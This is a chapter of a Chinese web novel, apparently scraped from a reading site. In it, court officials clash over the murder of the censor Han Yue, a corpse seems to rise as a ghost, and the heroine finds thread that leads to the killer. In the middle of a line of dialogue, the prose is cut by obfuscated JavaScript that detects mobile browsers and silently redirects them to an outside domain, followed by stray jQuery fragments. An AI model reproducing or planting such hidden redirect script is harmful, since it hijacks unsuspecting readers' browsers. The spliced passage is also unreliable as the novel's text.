42. 形影其五
作品:《剑折春衫》 白千雪带着二人赶往现场时,那附近已经戒严,一圈士兵驱散了围观百姓。对面的长街上,一位策马而来、此时昂扬的红衣官员挺身一昂首,那些士兵纷纷拜见。陆颙站在他们中间,遥问候马背上的人:“魏大人,此地发生了命案,请您绕行别处吧。”
魏贞远翻身下马,徐徐踱步过来,轻易地进了戒守圈内。“我正是为此而来。”
陆颙戒备地盯着他。魏贞远哈哈笑着,拍了拍他的肩,“子行告诉我了,昨日您为这件事奔波,今日本该休沐,还劳烦您过来一趟了。”
“护卫洛京安危,本就是我的职责。”
“不错。我身为御史大夫,也有职责监督属下。韩月已经连续几日未到监台履职,我也一直在关注着他的事情。还请陆大人将提审之权转交给我,我定会给您一个答复的。”
为避免身份暴露,薛韫知和苏润莲只能远远在站在人堆里观望,见魏贞远突然出现,薛韫知拉过白千雪问:“廷尉张静期大人呢?快去叫人。”
白千雪却做个苦脸:“没用的。张大人正月刚刚病故。非但如此,他死后还被魏贞远的伯父魏峰诬告论罪,连个像样的封号都没给。”
一阵不好的预感涌上心头。“那现任廷尉呢?”
“没人。”
薛韫知深吸了一口气。“什么叫没人?”
白千雪看着她冷静地答:“就是职位空缺,无人担任。”
苏润莲在一旁震惊道:“怎、怎么可能这样?廷尉府何人管理?谁来修订解释律法?谁监督录囚?”
“无人。”
苏润莲看着几乎要原地蹦起,咬牙切齿道:“怎么会?”
“起初蓟侯大人和魏峰各自推荐了一个人,陛下原本要任用蓟侯大人引荐的那位,但是魏贞远告发伯父贪墨罪证、大义灭亲之举震动朝堂,理应褒奖,他也推荐了一人,蓟侯大人不肯让步,就这么僵持住了。”
薛韫知叹道:“说什么陛下的想法,三岁稚子,如何治国。没想到我才离开洛京没多久,白吟山和魏家之间的争斗,已经到了这般田地。”
她眼前一闪而过在洛京郊外遇到的江州流民,心底叹息一声。
那边,陆颙冷冰冰地回道:“你听不见吗?韩月已经死了。”
魏贞远的眼低微转,似有动容。“看来我还是晚了一步啊。”
他从容不迫地径直走向了韩月的方位,掀开草席一看,闭上了双眼,叹气后缓缓放下。
“陆大人,是何人杀害了韩月,您可有头绪?”
陆颙即使有头绪也不打算透露,何况他此时心里没底,愈来愈烦躁了。“看够了吗?不要妨碍公务。”
魏贞远循循道:“陆大人这是何意,我是在帮你。韩月身为朝廷命官,在大街上遭人杀戮,手段如此残忍、鲜血淋漓,岂可同于一般命案?您负责洛京巡防,并无刑狱督查之职,又何以如此在乎韩月?他的死状惨烈、手法又如何明显,您却假装不知何人所为,难道就是为了包庇吗?”
周围的无数双眼睛都在瞬间定了过来。陆颙的脸颊上染了愠色,一阵红一阵白。白千雪按耐不住要冲过去争论,薛韫知按住她,示意道:“别过去,魏贞远后面带来了不少人看见没?他就是故意来的,他知道韩月已死,先听他说完。”
“杨大人到——”
陆颙反驳的话还未出口,长街尽头又传来一声高呼。两名内官擎灯而至,后面跟着一位飘然出尘的白子女子,素面长冠,冷静地问候道:“听闻韩月出事了,我敢来看看。”
围观的人群先被女子的出众气势震慑,现下反应过来,三言两语打探着。
“这是哪家的娘子?从来没见过啊。”
“快看啊,陆颙和魏贞远都对她如此客气,她到底是谁啊?”
杨文矜淡淡地看向陆颙,询问他这里的情况,又质问魏贞远为何在此。
魏贞远截断了陆颙的话道:“鉴台御史韩月不幸遇害,他是我的属下。杨大人从来不问世事,今日是为了......?”
杨文矜直白道:“韩月是您的下属,也是我的学生。现在廷尉府无人掌管,我担心他身后不公。”
魏贞远笑着:“我也是为此而来。”
围观人群此时终于反应过来,争相一睹这位当世第一才女的尊荣。“原来是韩云居的讲官杨文矜!”“她一向不问政事、隐居讲学,今日怎么出来了!”“在哪呢在哪呢,也让我瞧瞧!”
陆颙见有熟人到场,底气立刻足了。“朝廷御史遇袭,这是关乎洛京百官安危的大事,我会调查此事,给所有人一个交代。”
魏贞远坚持:“陆大人若是执意包揽此时,可否先告诉在场的诸位,你打算如何调查?”
质问出口,他却仍不给陆颙辩驳之机,眉目动容地继续道:“我的这位下属,是顺兴十二年领的官职,一开始只是个九品小吏,出身微寒,无所依傍。我看中他口条清晰、办事爽快,将他提拔至鉴台。一年以来无不兢兢业业,恪尽职守。”
“但身为御史,督查百官,难免要得罪人。我本想将他调任到廷尉府,可惜未能如愿,终究是晚了一步。”
杨文矜冷冷道:“魏大人这是什么意思。”
“我仅仅是阐述事实而已。御史位低而权轻,多少世家门人霸占着职务尸位素餐,也不需要我来点破吧。”
陆颙强压怒意:“说这韩月的事呢,你乱扯别的干什么!”
“我所言都与此案休戚相关啊,陆大人,您再仔细瞧瞧韩月的伤,不觉得眼熟吗。”
“你休再胡言乱语!”
陆颙性情坦率,本就不擅对峙说理,最恨被人要挟,此刻已经乱了阵脚。杨文矜镇定地下令道:“少轩,掀开草席,让我看一眼吧。”
陆颙不由一愣:“......可以吗?”
“无碍。”
两名士兵掀开草席的一角,杨文矜俯身弯腰,细细地查看了一番。半晌后,她站起来望向魏贞远。
“如果真是那人做的,为何没有当场毁尸灭迹?留下一具破绽百出的尸首在大街上,不是那人的风格。”
魏贞远道:“你怎知,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15930857|175236||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
他不是故意借此杀鸡儆猴、恐吓百官?”
杨文矜定定地望着他,谨慎地思量着。
白千雪着急道:“怎么回事?静之跟他们说什么了?”薛韫知安抚她道:“嘘。先不要动。”
苏润莲道:“这个魏贞远是真的知晓内情,还是在贼喊捉贼?”
薛韫知摇了摇头。
那边,杨文矜与魏贞远单独交涉着,陆颙站在一边急得团团转。半晌,杨文矜命令禁卫士兵们卷起裹着韩月的草席,跟着魏贞远一起去了。
两个士兵一前一后,扛着草席,刚要走起来。突然后面的那个惨叫一声,蹲在了地上。
前面的那人也跟着失去重心,被尸体压得往下倒去,回头正要骂人。
一转头,他的惨叫声回荡在长街上空。
“鬼啊——有鬼啊——”
那卷草席......竟自己站了起来。
围观人群顿时惊散,胆子小的连声嚎叫,带着周围胆子大的一起抱头鼠窜,人群顿时冲散了薛韫知和另外两人。她能看见白千雪朝陆颙跑过去,却看不到苏润莲,他们二人今日的装扮本来就是为隐藏于众人中。
距离最近的杨文矜和魏贞远,脸色纷纷骤变,但尚能维持冷静。魏贞远将随身的佩剑抽出来,谨慎地对着“站起来”草席喊道:“...…何、何人装神弄鬼,速速现形!”
草席往前“跳”了一大步。二人连连后退。
这时候,草席突然卷着韩月飞上了天。
铜驼街上,十景图游神队伍正巡经闹事,被突然狂奔而跑的人群冲得散开,持旗的队列坏了阵型,天上飘扬的《瀚海云波图》也跟着东倒西歪。
草席“嗖”地一声撞过来,撞上了画卷正中,留下一道暗红的血印。一声尖细的哭泣响起:“老师——老师冤枉——”
持旗的队伍瞬间惊散,乌泱一片倒下。《瀚海云波》从天空坠下,长影蔽日,将乱动的草席压在下面,不动了。陆颙带着兵从小巷绕了过来,团团围住。长枪挑起了长卷的一角,露出底下的草席。
草席已经彻底摊开,在地上铺平成一片,韩月躺在其间,衣襟被血糊成一团,脸上的神色却是从前未有的安详。
薛韫知跟着陆颙赶来,遥遥地看了一眼,瞬间定在原地不能动弹。
陆颙还惊魂未定,试探唤道:“......韩公子...韩公子..?”
韩月的一双眼还睁着,没作回答。陆颙长舒一口气,走上前替他合了眼。
“你心里有怨,所以冲撞了《瀚海云波》,对吗?杨静之刚从说错了,要害你的不是蓟侯,是也不是?”
没有回应。
薛韫知环顾四周,趁着方才草席扮成到鬼影惊散了众人、现在还没赶回这里,她翻上了事发两条街中间屋舍的房顶,在砖瓦之间仔细搜寻。果然,她拾起一条极细的丝线,在指尖揉搓,传来一阵刺痛。这正是天工府用于制作定军铠里衬的原料。
果然如此。她将丝线收进袖中,心绪不宁,逐渐沉了下去。
找到白承玉了。